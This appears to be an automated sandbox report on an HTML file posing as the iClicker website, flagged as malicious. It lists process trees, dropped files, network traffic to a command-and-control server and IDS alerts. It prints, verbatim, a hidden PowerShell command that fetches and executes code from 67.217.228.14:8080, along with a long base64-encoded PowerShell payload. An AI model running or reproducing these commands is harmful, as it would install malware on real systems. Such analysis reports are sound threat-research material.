| download: | / |
| Full analysis: | https://app.any.run/tasks/bdcc6d7b-783f-4924-8ff1-1f079609a37e |
| Verdict: | Malicious activity |
| Analysis date: | April 14, 2025, 13:18:52 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/html |
| File info: | HTML document, ASCII text, with very long lines (21410) |
| MD5: | BEE5A5C2B1AC1DD8618B0A9B343CC3B3 |
| SHA1: | 789D689EC7AF00B1411A3EF96513108C0E4A47FE |
| SHA256: | CB19A88EF0021DA90CA92BA0731A54D1CAE25B8CB42B741DD950373B9A9ED148 |
| SSDEEP: | 6144:wcUu2SR0WtXkkmolNe4otzWr/hwEKVISMzyNijQPs5k:Au2IetzmwEKCzyNUQPs5k |
MALICIOUS
Connects to the CnC server
- powershell.exe (PID: 2136)
SUSPICIOUS
Creates new GUID (POWERSHELL)
- powershell.exe (PID: 7612)
Base64-obfuscated command line is found
- powershell.exe (PID: 2136)
CSC.EXE is used to compile C# code
- csc.exe (PID: 7700)
Application launched itself
- powershell.exe (PID: 2136)
Starts POWERSHELL.EXE for commands execution
- powershell.exe (PID: 2136)
Uses SYSTEMINFO.EXE to read the environment
- powershell.exe (PID: 2136)
BASE64 encoded PowerShell command has been detected
- powershell.exe (PID: 2136)
Executable content was dropped or overwritten
- csc.exe (PID: 7700)
Converts a string into array of characters (POWERSHELL)
- powershell.exe (PID: 7612)
INFO
Create files in a temporary directory
- csc.exe (PID: 7700)
- cvtres.exe (PID: 7720)
Checks supported languages
- csc.exe (PID: 7700)
Reads the machine GUID from the registry
- csc.exe (PID: 7700)
Script raised an exception (POWERSHELL)
- powershell.exe (PID: 7612)
Found Base64 encoded reflection usage via PowerShell (YARA)
- powershell.exe (PID: 2136)
Found Base64 encoded access to processes via PowerShell (YARA)
- powershell.exe (PID: 2136)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .htm/html | | | HyperText Markup Language with DOCTYPE (80.6) |
|---|---|---|
| .html | | | HyperText Markup Language (19.3) |
EXIF
HTML
| ContentType: | text/html; charset=UTF-8 |
|---|---|
| Viewport: | width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0 |
| Robots: | index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1 |
| Title: | iClicker: Student Response & Classroom Engagement Tools |
| Description: | Easy to use, reliable, & focused on pedagogy: meet iClicker, the market-leader in Higher Education student & audience response systems. |
| TwitterCard: | summary_large_image |
| Generator: | Powered by WPBakery Page Builder - drag and drop page builder for WordPress. |
| MsapplicationTileImage: | https://www.iclicker.com/wp-content/uploads/2019/08/favicon.png |
Total processes
141
Monitored processes
10
Malicious processes
1
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 780 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2136 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h -c "$a=67; $b=217; $c=228; $d=14; $e=':8080/'; $u=[string]$a+'.'+$b+'.'+$c+'.'+$d+$e; $t=[math]::Floor(([datetime]::UtcNow-[datetime]'1970-01-01').TotalSeconds/16)*16; iex(irm($u+$t))" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2196 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 3240 | "C:\WINDOWS\system32\systeminfo.exe" | C:\Windows\System32\systeminfo.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Displays system information Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 3900 | C:\WINDOWS\system32\SppExtComObj.exe -Embedding | C:\Windows\System32\SppExtComObj.Exe | — | svchost.exe | |||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: KMS Connection Broker Version: 10.0.19041.3996 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6800 | "C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEvent | C:\Windows\System32\slui.exe | — | SppExtComObj.Exe | |||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows Activation Client Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7424 | C:\WINDOWS\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.3989_none_7ddb45627cb30e03\TiWorker.exe -Embedding | C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.3989_none_7ddb45627cb30e03\TiWorker.exe | — | svchost.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows Modules Installer Worker Version: 10.0.19041.3989 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7612 | "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -w h -enc JABTAGgAIAA9ACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAFMAaABvAHcAVwBpAG4AZABvAHcAQQBzAHkAbgBjACgASQBuAHQAUAB0AHIAIABoAFcAbgBkACwAIABpAG4AdAAgAG4AQwBtAGQAUwBoAG8AdwApADsAJwA7ACQAUwBoAG8AIAA9ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJABTAGgAIAAtAG4AYQBtAGUAIABXAGkAbgAzADIAUwBoAG8AdwBXAGkAbgBkAG8AdwBBAHMAeQBuAGMAIAAtAG4AYQBtAGUAcwBwAGEAYwBlACAAVwBpAG4AMwAyAEYAdQBuAGMAdABpAG8AbgBzACAALQBQAGEAcwBzAFQAaAByAHUAOwAkAHcAdAAgAD0AIABOAGUAdwAtAEcAdQBpAGQAOwAkAEgAbwBzAHQALgBVAEkALgBSAGEAdwBVAEkALgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAA9ACAAJAB3AHQAOwAkAFAAcgAgAD0AIAAoAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAHwAIABXAGgAZQByAGUALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgBNAGEAaQBuAFcAaQBuAGQAbwB3AFQAaQB0AGwAZQAgAC0AZQBxACAAJAB3AHQAIAB9ACkAOwAkAFMAaABvADoAOgBTAGgAbwB3AFcAaQBuAGQAbwB3AEEAcwB5AG4AYwAoACQAUAByAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBIAGEAbgBkAGwAZQAsACAAMAApADsAIAAKACQAcgA9AFsAUwB5AHMAdABlAG0ALgBSAGEAbgBkAG8AbQBdADoAOgBuAGUAdwAoACgAWwBpAG4AdABdACgAZwBlAHQALQBkAGEAdABlACAALQBmACAAeQB5AHkAeQBNAE0AZABkACkAKwA4ADQANAAxACkAKQA7ACQAYQA9ACgAMQAuAC4AMQA1AHwAJQB7AFsAYwBoAGEAcgBdACgAJAByAC4ATgBlAHgAdAAoADkANwAsADEAMgAyACkAKQB9ACkALQBqAG8AaQBuACcAJwA7AGYAdQBuAGMAdABpAG8AbgAgAGQAewBwAGEAcgBhAG0AKAAkAHMALABbAGkAbgB0AF0AJABvACkAIAAtAGoAbwBpAG4AIAAoACQAcwAuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAfAAlAHsAWwBjAGgAYQByAF0AKABbAGkAbgB0AF0AJABfACsAJABvACkAfQApAH0AOwAkAGcAPQBkACAAIgAzAHkAdAB1ADQANgAzAHUAbQB1AEQAeABCADoANwA8ACIAIAAtADUAOwBpAGUAeAAoAGMAdQByAGwAIAAtAHUAcwBlAGIAIAAiACQAYQAkAGcAIgApACAA | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7700 | "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\cl5hx4yb.cmdline" | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Visual C# Command Line Compiler Exit code: 0 Version: 4.8.9037.0 built by: NET481REL1 Modules
| |||||||||||||||
| 7720 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RESF222.tmp" "c:\Users\admin\AppData\Local\Temp\CSC8C59AC07B6BD42C9AACDFF58B87B4BB4.TMP" | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe | — | csc.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft® Resource File To COFF Object Conversion Utility Exit code: 0 Version: 14.32.31326.0 Modules
| |||||||||||||||
Total events
17 241
Read events
17 235
Write events
6
Delete events
0
Modification events
| (PID) Process: | (7424) TiWorker.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing |
| Operation: | write | Name: | SessionIdHigh |
Value: 31173951 | |||
| (PID) Process: | (7424) TiWorker.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing |
| Operation: | write | Name: | SessionIdLow |
Value: | |||
| (PID) Process: | (2196) svchost.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Dnscache\Parameters\DnsPolicyConfig\DNS_RESILIENCY_fe3cr.delivery.mp.microsoft.com |
| Operation: | write | Name: | Name |
Value: fe3cr.delivery.mp.microsoft.com | |||
| (PID) Process: | (2196) svchost.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Dnscache\Parameters\DnsPolicyConfig\DNS_RESILIENCY_fe3cr.delivery.mp.microsoft.com |
| Operation: | write | Name: | ConfigOptions |
Value: 8 | |||
| (PID) Process: | (2196) svchost.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Dnscache\Parameters\DnsPolicyConfig\DNS_RESILIENCY_fe3cr.delivery.mp.microsoft.com |
| Operation: | write | Name: | Version |
Value: 2 | |||
| (PID) Process: | (2196) svchost.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Dnscache\Parameters\DnsPolicyConfig\DNS_RESILIENCY_fe3cr.delivery.mp.microsoft.com |
| Operation: | write | Name: | GenericDNSServers |
Value: 162.159.36.2 | |||
Executable files
1
Suspicious files
6
Text files
8
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2136 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\K246ZIV482G54EM6C44Z.temp | binary | |
MD5:0CB279DBC4BBCA444BC65FC98D0BDE9C | SHA256:E04D00496495F70138F4BF82329091A0FB1A2B469CC7B76A6509C4353E66A85E | |||
| 7612 | powershell.exe | C:\Users\admin\AppData\Local\Temp\cl5hx4yb.0.cs | text | |
MD5:A6E80541A483188DBCE2F3D843FCBE4D | SHA256:D5B10C7F3CBB62CBF4772A7B178C578C8ABAA3FE9A7420DECBFF18D81F08CCD9 | |||
| 2136 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF10c083.TMP | binary | |
MD5:D040F64E9E7A2BB91ABCA5613424598E | SHA256:D04E0A6940609BD6F3B561B0F6027F5CA4E8C5CF0FB0D0874B380A0374A8D670 | |||
| 2136 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_3sdvonuh.skn.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 2136 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms | binary | |
MD5:0CB279DBC4BBCA444BC65FC98D0BDE9C | SHA256:E04D00496495F70138F4BF82329091A0FB1A2B469CC7B76A6509C4353E66A85E | |||
| 2136 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_wp0m3a1r.es1.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7424 | TiWorker.exe | C:\Windows\Logs\CBS\CBS.log | text | |
MD5:4CB8119EE094336A6C6A854A54B57E1C | SHA256:2FF09473499C8975B6C44DF003F9B0C34D52E01A5E34B62D4213E8367E07133F | |||
| 7612 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_a5tzk5i5.4kd.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7612 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_4jgx5ky1.gfu.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7720 | cvtres.exe | C:\Users\admin\AppData\Local\Temp\RESF222.tmp | binary | |
MD5:1E2615071CD5883F7E344B3997AC2CE3 | SHA256:F5E6856C54FB093B92F23B899E4FDCBF12F48FB338BD20A3979EA6953926EC3B | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
7
TCP/UDP connections
21
DNS requests
18
Threats
7
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
5496 | MoUsoCoreWorker.exe | GET | 200 | 23.53.40.176:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | DE | binary | 825 b | whitelisted |
2136 | powershell.exe | GET | 200 | 67.217.228.14:8080 | http://67.217.228.14:8080/1744636736 | US | text | 271 b | unknown |
6544 | svchost.exe | GET | 200 | 2.23.77.188:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | DE | binary | 471 b | whitelisted |
7612 | powershell.exe | GET | 302 | 185.250.151.155:80 | http://kbcximoaqhffxnm.top/1.php?s=527 | US | — | — | malicious |
2136 | powershell.exe | POST | 200 | 67.217.228.14:8080 | http://67.217.228.14:8080/1744636736 | US | text | 1.58 Kb | unknown |
7960 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | DE | binary | 419 b | whitelisted |
7960 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | DE | binary | 407 b | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
— | — | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
5496 | MoUsoCoreWorker.exe | 23.53.40.176:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
— | — | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
3216 | svchost.exe | 172.211.123.248:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | FR | whitelisted |
2136 | powershell.exe | 67.217.228.14:8080 | — | SRS-6-Z-7381 | US | unknown |
6544 | svchost.exe | 20.190.160.65:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
6544 | svchost.exe | 2.23.77.188:80 | ocsp.digicert.com | AKAMAI-AS | DE | whitelisted |
4628 | RUXIMICS.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
kbcximoaqhffxnm.top |
| unknown |
vjtx3ydy2ekte5f.com |
| unknown |
slscr.update.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2136 | powershell.exe | A Network Trojan was detected | ET MALWARE Generic Malware CnC Activity - (Unix Timestamp In HTTP URI) |
2136 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
2136 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |
2136 | powershell.exe | Misc activity | SUSPICIOUS [ANY.RUN] Sent Host Name in HTTP POST Body |
2196 | svchost.exe | Potentially Bad Traffic | ET DNS Query to a *.top domain - Likely Hostile |
7612 | powershell.exe | Potentially Bad Traffic | ET INFO HTTP Request to a *.top domain |
7612 | powershell.exe | Not Suspicious Traffic | ET INFO Windows Powershell User-Agent Usage |